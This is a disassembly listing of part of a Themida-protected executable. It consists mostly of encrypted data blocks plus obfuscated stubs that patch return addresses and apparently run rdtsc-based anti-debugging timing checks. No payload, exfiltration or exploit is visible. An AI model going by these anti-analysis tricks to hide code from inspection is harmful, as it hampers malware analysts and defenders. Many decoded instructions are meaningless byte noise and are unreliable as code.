		dd 3EE84003h, 1E13169Fh, 5B3B2F9Fh, 0D4574C4Ah,	3C7AEA48h
		dd 81F15043h, 0FE97B895h, 0E246D231h, 644B4472h, 718FD332h
		dd 0D75E14D5h, 0CDCD0AE8h, 0F0AAE0B2h, 11729F4Bh, 0DC5FD4A1h
		dd 0FC81C87Bh, 5B6C18D8h, 0CF314274h, 0D0327F5Fh, 0B1593660h
		dd 99BE8083h, 10E41049h, 99AA8DA7h, 1F2A306Ch, 5B8DF8Bh
		dd 44D141C2h, 421C8CEFh, 4A2090F1h, 52B102CCh, 2FDBB4E2h
		dd 393h, 4B2FA700h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
		dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
		dd 64ED6878h, 2C890000h, 29926824h, 3C890000h, 0E3895324h
		dd 4C381h, 0EB830000h, 241C8704h, 2434895Ch, 291E68h, 24048900h
		dd 184ED2B8h, 58C78906h, 4EC81h, 24890000h, 24048124h
		dd 4, 8BB535Eh,	1000000h, 8B3B89F3h, 0C481241Ch, 4, 5E2434FFh
		dd 4C481h, 3C8B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 10BCE95Ch, 7F57FFFDh, 5074B00h, 6A2D21B1h, 0F4FADAF4h
; ---------------------------------------------------------------------------


loc_5B07D4:				; CODE XREF: Themida_:loc_5AE82Aj
		mov	eax, 6186D1Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0B3h, 0FBh, 0A3h
		dd 8D10626Ch, 57627D19h, 7B5CCC6Ah, 0C33B2629h,	0E9A34832h
		dd 0CA455402h, 50972261h, 82FEA165h, 0C3B6CA42h, 9D6C3B73h
		dd 7D050F10h, 7DB7B114h, 7C278B3Ch, 91D42E36h, 9F424146h
		dd 0C9DC102h, 37FF2349h, 6E81Ch, 3ACE0000h, 0FAB657Ah
		dd 880BB966h, 9E95Eh, 0C7A90000h, 0C1B62F16h, 8188DBCAh
		dd 6972C6h, 80525700h, 5A590AD6h, 0E953DB2Bh, 12h, 6D311894h
		dd 9FB9D6D3h, 12945FA6h, 7E9124A7h, 8B58C2E9h, 0C7811E3Ch
		dd 413E08B0h, 48F0Fh, 0B8660000h, 0F781966Fh, 9C32C65h
		dd 3850F60h, 66000000h,	8161FE8Bh, 1F2169C7h, 0CDB96639h
		dd 0C18B578Ch, 801E048Fh, 0BE804EAh
		db 3 dup(0)
byte_5B08A7	db 0F4h			; DATA XREF: Themida_:00579D24o
; ---------------------------------------------------------------------------
		mov	dh, 0E8h
		inc	ebx
		test	al, 0CEh
		add	ebx, ecx
		xlat
		mov	al, ds:835AF871h
		jmp	short loc_5B08B9
; ---------------------------------------------------------------------------
		db 0B8h
		db 0B6h
; ---------------------------------------------------------------------------


loc_5B08B9:				; CODE XREF: Themida_:005B08B5j
		outsd
		jmp	near ptr 81A6541Eh
; ---------------------------------------------------------------------------
		db 0F1h
		dd 7F7C6123h, 9730FB81h, 850FFFFFh, 0FFFFFF9Bh,	400E9h
		dd 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 12A7E900h, 0F600000h, 381h, 0CFBF0F00h, 12D58D89h, 8B610615h
		dd 15178985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 2B7EC397h, 75175A38h, 9D31621Ch
		dd 61515DDh, 71958960h,	8106152Eh, 0E12D6DEEh, 4439615Eh
		dd 850F0424h, 52h, 0F1B589FCh, 83061527h, 15295DBDh, 840F0006h
		dd 3Eh,	5E9h, 15836B00h, 858DA87Bh, 6153B38h, 918589h
		dd 0E0FF0615h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	3DC35545h, 80EF2AC7h, 7019D09h,	858B0615h, 6150789h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h
		dd 5DC21660h, 0ED7C7A0h, 12E9CAh, 5D0C0000h, 5A51231Ah
		dd 6EE1086h, 90AB183Eh,	2806408Ch, 4244439h, 5D850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 79C4C1C3h, 8589E535h, 6153095h, 13860Fh, 0EE90000h
		dd 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h, 0A285C738h
		dd 1061872h, 0F000000h,	0E8Bh, 800F6000h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+615104Dh],	edi
		popa
		pusha
		push	0
		push	edx
		call	sub_5B0E3B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0E3B	proc near		; CODE XREF: Themida_:005B0E33p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B0E3B	endp

; ---------------------------------------------------------------------------
		clc
		mov	al, ds:8C175B06h
		mov	[ebp+6153461h],	edi
		jmp	loc_5B0E90
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5B0E68
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0E68	proc near		; CODE XREF: Themida_:005B0E60p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B0E68	endp

; ---------------------------------------------------------------------------
		dd 850F272Fh, 0Ch, 6820Fh, 95090000h, 615235Dh,	0
; ---------------------------------------------------------------------------


loc_5B0E90:				; CODE XREF: Themida_:005B0E58j
		mov	eax, 1


loc_5B0E95:				; CODE XREF: Themida_:005B0E9Dj
		xchg	eax, [ebp+618745Dh]
		or	eax, eax
		jnz	short loc_5B0E95
		push	dword ptr [ebp+61509C5h]
		pop	dword ptr [ebp+618729Ah]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+615248Dh]
		cmp	dword ptr [ebp+6150221h], 0
		jz	short loc_5B0EC6
		push	0
		call	dword ptr [ebp+6152E21h]


loc_5B0EC6:				; CODE XREF: Themida_:005B0EBCj
		cmp	dword ptr [ebp+6151E01h], 1
		jz	short loc_5B0EDC
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+615248Dh]


loc_5B0EDC:				; CODE XREF: Themida_:005B0ECDj
		pusha
		cld
		mov	[ebp+6150329h],	edx
		popa
		push	0
		push	edx
		call	sub_5B0EF0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0EF0	proc near		; CODE XREF: Themida_:005B0EE8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B0EF0	endp

; ---------------------------------------------------------------------------
		dd 0F3ACBDD3h, 0E97ABAF0h, 8, 5C881676h, 5C2F9C2Fh, 13E9h
		dd 1B8A4E00h, 7E73C832h, 613A6F5Bh, 0F5840EC9h,	0DC85E1BCh
		dd 0B8h, 85B58900h, 8B061504h, 60282454h, 0B58BC68Ah, 61524F9h
		dd 8589F961h, 6150A5Dh,	0D58D8B60h, 0E8061525h,	0Ah, 0A6B8759Bh
		dd 8F378092h, 0FE9B6AAh, 4A000000h, 5659468h, 78152E57h
		dd 5DD2EEFh, 6158129Fh,	3CBEh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E39AF4AAh
		dd 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h, 3616078h
		dd 0F242474h, 68Dh, 15B52900h, 6606150Ch, 0BE9ADh, 0E8910000h
		dd 326E0254h, 0C63B633Dh, 2444037Fh, 0BD296024h, 6150D65h
		dd 189D9D29h, 50610615h, 22810Fh, 52500000h, 310F5250h
		dd 310F585Ah, 11E9h, 6167C00h, 287E6E96h, 4961BA91h, 1024C83Dh
		dd 585A55FCh, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 44B1C351h, 895DFE3Fh
		dd 15176595h, 29B58906h, 8B061530h, 6A7840h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DC6D70C3h
		dd 83F9220Ch, 1872A2BDh, 850F0006h, 157h, 68C0Fh, 8D290000h
		dd 6151075h, 50525090h,	0F525052h, 0F585A31h, 0F525031h
		dd 5A585A31h, 60310F58h, 0B2C2E5BEh, 8E965h, 39D60000h
		dd 0E9C68DEEh, 5A61E1FAh, 8F0F5058h, 14h, 0FE9h, 777E7700h
		dd 0E679C792h, 19922928h, 3C0C56DDh, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C20178D7h
		dd 36A995CEh, 8E93A44h,	0C000000h, 0D691AC1Bh, 9BBEEBFh
		dd 151D6D85h, 24448B06h, 52006A2Ch, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0CFE29CF4h, 40177FC4h
		dd 0BE9DBh, 797A0000h, 4F3622D3h, 0F4747D1Ah, 11E97Ch
		dd 9C070000h, 5FB0A87h,	58555F6Dh, 0CD2A3DA3h, 5029CB63h
		dd 8E0F5250h, 6, 860Fh,	310F0000h, 820F5250h, 0
		dd 850F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		mov	[esp], eax
		jmp	loc_5B1185
; ---------------------------------------------------------------------------
		dd 2570E691h, 2BCC080h,	0EFAE10C6h, 197B8484h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_5B1185:				; CODE XREF: Themida_:005B116Fj
		add	[ebp+6151695h],	edi
		lea	eax, [ebp+61845F6h]
		push	0
		push	esi
		call	sub_5B119C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B119C	proc near		; CODE XREF: Themida_:005B1194p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B119C	endp

; ---------------------------------------------------------------------------
		dd 29F504B2h, 15088595h, 0FD0FF06h, 68Ah, 0CD8D8900h, 306152Eh
		dd 0FC282444h, 26DDB589h, 408B0615h, 95896018h,	6150E3Dh
		dd 5E9h, 0F894FD00h, 6061C686h,	3F18D01h, 8B660615h, 6A4061F9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3CCCC353h, 0E9F9A63Fh, 0Ah, 53B9D2D8h, 5304E6ADh
		dd 0FE974CEh, 0F6000000h, 691B77CDh, 19F4A6Bh, 0B1A017DFh
		dd 85890AF6h, 618729Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 3BC35747h, 0BE833E13h, 29602742h, 151911BDh
		dd 9586106h, 1502D5BDh,	78708B06h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 2BC35242h, 500A5ACDh, 68F0F0Dh
		dd 1000000h, 151545B5h
; ---------------------------------------------------------------------------
		push	es


loc_5B1299:				; DATA XREF: Themida_:0057C454o
		add	esi, 1Ch
		push	0
		push	ecx
		call	sub_5B12A7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B12A7	proc near		; CODE XREF: Themida_:005B129Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5B12A7	endp

; ---------------------------------------------------------------------------
		mov	ebx, ss
		db	67h
		mov	bh, 3Dh
		xchg	eax, esi
		or	esp, [ebp+ecx*4+54h]
		xchg	eax, esi
		push	0
		push	ebx
		call	sub_5B12CD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B12CD	proc near		; CODE XREF: Themida_:005B12C5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5B12CD	endp

; ---------------------------------------------------------------------------
		db 0F6h, 0Fh, 8Ch
		dd 0Eh,	35958B60h, 89061517h, 15141D8Dh, 7C816106h, 2424h
		dd 870F1000h, 13Fh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 24C35040h, 0FF791EFAh, 4A8C983h, 0B8B160F5h
		dd 52505061h, 128C0Fh, 0DE90000h, 8E000000h, 215FD9FBh
		dd 0C5503293h, 0D77B8AAEh, 8A0F310Fh, 0Ch, 7E9h, 27D34C00h
		dd 0E11394AEh, 489585Ah, 0FE924h, 95CC0000h, 0B0D197BFh
		dd 16921481h, 1D4AB1CCh, 24448B5Fh, 57006A28h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 1B306D7Ch
		dd 4651D700h, 2A919589h, 0F900615h, 1282h, 0DE900h, 0B65E0000h
		dd 80880AA2h, 7715870Dh, 501EEDF3h, 52505250h, 0DE9h, 8C4FD800h
		dd 0F58C13F1h, 0A12E2BD4h, 310F8D5Eh, 8F0Fh, 585A0000h
		dd 8B60310Fh, 61E5B5CBh, 6A90585Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2D4DC356h
		dd 18ED8531h, 0BD310615h, 6153439h, 45F6858Dh, 6A0618h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 557335C3h, 0A9BD0194h, 0FF061505h, 0D9D89D0h, 9606151Dh
		dd 0AE9h, 8A147900h, 3CAF2519h,	367C2B0h, 6A242474h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0C390C352h, 4F072581h, 0E9536E65h, 0Ah, 2A09EFE9h, 0BA562351h
		dd 0BD8D62E0h, 61521D9h, 0B8F0Fh, 66600000h, 9D03D68Bh
		dd 61518A5h, 0B589AD61h, 61509F1h, 24247C81h, 10000000h
		dd 120870Fh, 60F80000h,	2761BD8Bh, 0AE80615h, 66000000h
		dd 0A29BFCEEh, 257DA5BDh, 0BE90Bh, 0AC340000h, 0B160B98h
		dd 5D777FE4h, 906159C3h, 6E9h, 1E131B00h, 503D7150h, 8A0F5250h
		dd 2, 310F6160h, 10E95250h, 39000000h, 6FEBB6C9h, 0F4414B4Ah
		dd 60AE3B4Bh, 0FEB4007h, 0F525031h, 5A585A31h, 90585A58h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D1C35343h
		dd 0E9DFD28Eh, 0Bh, 1A872C4Ah, 8C0BFE45h, 8BD1406Dh, 89282444h
		dd 15182D95h, 0E9609006h, 0Dh, 0EEFB0571h, 878BF83Fh, 67CE04B3h
		dd 0F5061C8h, 0E89h, 9E900h, 29800000h,	9278727Ah, 9073B932h
		dd 10C99501h, 858D0615h, 61845F6h, 0C880Fh, 800F0000h
		dd 6, 8A18D09h,	0D0FF0615h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 42C35343h, 80E3DEC1h,	11E9h, 0B12EBB00h
		dd 0A7FB5C94h, 0F0622C37h, 0C7FF9D13h, 4403479Ch, 8D292424h
		dd 6150E11h, 52006AABh,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 7AEB82Dh,	2F4BE88Eh, 8D2939D5h, 6151A3Dh
		dd 0FA81h, 820F0001h, 748h, 0C8A0Fh, 890F0000h,	6, 8B0Fh
		dd 0BD8D0000h, 615186Dh, 6E9h, 85192A00h, 0F80FDC4h, 0E87h
		dd 0DE816000h, 57101B53h, 0AF72D981h, 0AD614145h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DFC35040h, 731B26Ch
		dd 61A6991Bh, 14E960h, 2FBA0000h, 0F4A8D9CAh, 0D8603980h
		dd 0C7240DF7h, 0EEF1A1ABh, 0E961B815h, 0Ah, 0CEF6614h
		dd 9261D547h, 7C815401h, 2424h,	870F1000h, 0F3h, 0B830Fh
		dd 6E90000h, 4A000000h,	3F815DBDh, 52505095h, 32BF6660h
		dd 615857F2h, 0F60310Fh, 80h, 830F00h, 61000000h, 489585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0E44EF007h, 18C0F50h, 0F5000000h, 27D8589h
		dd 448B0615h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 212EABC3h, 9529038Ch, 61519F9h
		dd 60525050h, 5E8h, 0AEC08200h,	0B05B341Fh, 310F6114h
		dd 0F525060h, 8B585A31h, 585A61D6h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 458C350h, 10E9FCDDh,	64000000h, 4E5A891Dh, 0A5230E2Eh
		dd 56C3EF83h, 8DE09D9Ah, 1845F685h, 0FDBD8906h,	0FF061506h
		dd 4D9589D0h, 3061510h,	0F242444h, 68Ah, 7DB58900h, 50061510h
		dd 0FE9h, 6DAAF400h, 80A3AD7Eh,	0A06DECDEh, 0D4781477h
		dd 31240489h, 15286DB5h, 6AAB06h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0ED48A5C3h, 573E7FD5h
		dd 0EE9E5A1h, 35000000h, 96E1CF45h, 748A71E7h, 0B890376Bh
		dd 21BD8DBBh, 6A061530h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 951EC357h, 2D45E339h
		dd 9AFE186h, 150D99BDh,	18B0F06h, 0F8000000h, 56006AADh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0DD80605Dh, 6820FF8h, 0F000000h, 85h, 800F6100h, 0Eh
		dd 0DD958960h, 0F061525h, 89h, 7C816100h, 2824h, 870F1000h
		dd 0D7h, 18018D09h, 0F500615h, 1581h, 0BE86000h, 9C000000h
		dd 0B7AF6654h, 0BB61BC75h, 505B1EADh, 4896158h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0A29F5524h, 2C24448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0B3C35747h, 0BAAD9F86h, 0F1852995h, 5006152Dh
		dd 12E960h, 6CB40000h, 81873931h, 92A92901h, 645C8F99h
		dd 90939FCCh, 8961C28Bh, 0BD892404h, 61504A9h, 45F6858Dh
		dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0D3AA5AC3h, 4454AA65h, 604EDAB0h,	8166CB8Bh
		dd 6189F7EEh, 1860Fh, 0FFF50000h, 558501D0h, 3061534h
		dd 89282444h, 152CB98Dh, 5EF5AB06h, 729E8DFFh, 0BD830618h
		dd 618729Eh, 330A7500h,	0C0B58DC0h, 0FF061882h,	81AD56E6h
		dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 1845F685h
		dd 3D0FF06h, 97282444h,	858ADF8Bh, 618729Ah, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 0A5D85FFh,	5DE90615h, 5EFFFFFFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h, 830F3BD0h
		dd 6, 2F2D8501h, 95290615h, 6153399h, 0A1BD0360h, 6606152Dh
		dd 0E172E381h, 5D858B61h, 106150Ah, 15225985h, 6AE0D106h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 13E0C355h, 9B10998Dh, 0FF59B16h, 685h, 49BD8900h
		dd 60061522h, 8C18D89h,	0BF660615h, 3615FA3h, 15302185h
		dd 11E906h, 446E0000h, 0A14F9B2h, 4262D6CAh, 1E9144E3h
		dd 0E98624C6h, 5, 867A65A3h, 0BE30h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F965DC3h
		dd 18Eh, 0AD66F500h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 3AC35242h, 71673DCEh,	1870Fh,	0C1F50000h
		dd 6A02E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 898D92C3h, 1533FD9Dh, 0D9850306h,	6A061521h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 6C0C356h,	0DE181BA8h, 8B6660F4h, 819D8BDEh
		dd 61061501h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D9C3A8DEh, 9785EA17h, 0D8F0F57h
		dd 0E9000000h, 8, 4EA252B9h, 3CC8A546h,	5E9ADh,	1E0B0000h
		dd 816B55D8h, 24247Ch, 0F100000h, 10987h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 4D69E509h, 60716DEFh, 18ED9D89h, 9D8B0615h, 61522D9h
		dd 13E961h, 4B9E0000h, 0C6163C55h, 5534F5ECh, 981BF2Fh
		dd 856B32A4h, 0B660504Eh, 28A0F8Ch, 60000000h, 4896161h
		dd 8D31F924h, 6150D95h,	2824448Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0ACC35141h,	953D8496h, 0CE9h
		dd 0D8A1A000h, 7161527Eh, 0B71424FCh, 5E95040h,	26000000h
		dd 63FF1914h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 2495C355h, 95DA318Fh
		dd 36B301Dh, 0B9B58B60h, 0BB061524h, 0B3314B0h,	0F6858D61h
		dd 6A061845h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F7DC352h, 0A86h, 5E900h, 38970000h
		dd 0FF140B66h, 4403F5D0h, 6A2424h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 829602C3h, 6E9h, 0CDB8D200h
		dd 894ABDF9h, 0E91C2444h, 10h, 2B9FD419h, 0CA5251CBh, 1DB7470Eh
		dd 4AC47CAAh, 6840Fh, 8D890000h, 6151555h, 9C585C6h, 0C7000615h
		dd 18745D85h, 6, 0A285C700h, 61872h, 0F000000h,	68Ch, 0E9B50900h
		dd 0F9061527h, 11E961h,	0C8D50000h, 488483CCh, 0ABB0DB52h
		dd 82C006A8h, 0C2FCC170h, 95290008h, 61522B9h, 21D9858Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 19F89DC3h, 0C8E0FF9h, 0F000000h, 68Fh, 0C9958900h
		dd 4A06151Ch, 952BF960h, 6151DBDh, 4D26B61h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E2C35242h, 9447C2Ah
		dd 152511B5h, 6AC20306h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0BCA2C356h,	75231EE4h
		dd 6A96B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 5C1114C3h, 0D704DAC6h, 6AADF5h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 415C5AC3h
		dd 75028567h, 247C8119h, 24h, 36870F10h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6008C356h, 2A81BD8Bh, 0E9610615h, 11h, 0C46BF375h, 0DFA7538Bh
		dd 0A2A8277Dh, 5EBB1C7Ch, 8D0F5067h, 8,	28C0Fh,	61600000h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 84FFC353h, 0D3A75714h,	448BFCD0h
		dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 50B0F7C3h, 14E9h,	0FCB72000h, 91BAA1B2h
		dd 2E9CE0B4h, 42139F4Ch, 0ADAB336Ah, 2404898Eh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0C0AAA951h
		dd 0FF5B746h, 0A8Dh, 5E506000h,	1DBD2Bh, 8D610615h, 1845F685h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 44F47C3Ah, 89C52750h, 150AC59Dh,	6AD0FF06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CBFDC357h, 850F08B3h, 1,	0FD48E9F9h, 8B0FFFFFh
		dd 1, 0F9858DFCh, 1061888h, 1509F1B5h, 60609006h, 0B661D18Bh
		dd 60506196h, 95045B9h,	618BB476h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BDB0FD34h
		dd 1D76A83Bh, 35FF64h, 60000000h, 0FFB8B60h, 80h, 66606100h
		dd 2B025DB8h, 1510FDBDh, 8B616106h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F73B12C3h
		dd 0F4845F16h, 85090FCCh, 6152F05h, 16018589h, 85890615h
		dd 6152A65h, 2789BD89h,	89640615h, 25h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 23DDD4E7h, 0E860F302h, 13h, 0D44CBDB3h, 4D732D60h, 0FCE5DA61h
		dd 2A4253D8h, 60FEE3DCh, 820F5F61h, 0
; ---------------------------------------------------------------------------
		popa
		lea	eax, [ebp+61886A5h]
		xor	[ebp+6152B29h],	esi
		mov	[ebp+6152FFDh],	esi
		mov	[eax+1], esp
		push	0
		push	esi
		call	sub_5B208D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B208D	proc near		; CODE XREF: Themida_:005B2085p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5B208D	endp

; ---------------------------------------------------------------------------
		aas
		mov	al, ds:0E94A9509h
		scasb
		add	al, [eax]
		add	[edx+0], ch
		push	ebx
		call	sub_5B20B2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B20B2	proc near		; CODE XREF: Themida_:005B20AAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B20B2	endp

; ---------------------------------------------------------------------------
		dw 491Eh
		dd 0DB8BF96Ch, 0E8h, 0ED815D00h, 618869Eh
; ---------------------------------------------------------------------------


loc_5B20D4:				; DATA XREF: Themida_:0057B454o
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+6151E01h], 0
		jz	short loc_5B20FA
		mov	eax, [ebp+6152849h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+615282Dh]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+6152669h]


loc_5B20FA:				; CODE XREF: Themida_:005B20E0j
		pusha
		push	dword ptr [ebp+6186EA6h]
		lea	eax, [ebp+6186EAAh]
		push	eax
		lea	eax, [ebp+61870A2h]
		push	eax
		call	dword ptr [ebp+6152F29h]
		add	esp, 0Ch
		popa
		push	0
		push	edx
		call	sub_5B2124
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2124	proc near		; CODE XREF: Themida_:005B211Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5B2124	endp

; ---------------------------------------------------------------------------
		scasb
		mov	esi, 62A8E747h
		push	esp
		pop	esp
		or	[ebp+6150A61h],	ebx
		push	0
		push	ecx
		call	sub_5B214D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B214D	proc near		; CODE XREF: Themida_:005B2145p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B214D	endp

; ---------------------------------------------------------------------------
		db 9Dh,	0FAh, 7Dh
; ---------------------------------------------------------------------------
		xchg	eax, esp
		js	short loc_5B21B7
		adc	cl, [ebp+1870A2B5h]
		push	es
		push	0
		push	edx
		call	sub_5B2175
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2175	proc near		; CODE XREF: Themida_:005B216Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5B2175	endp

; ---------------------------------------------------------------------------
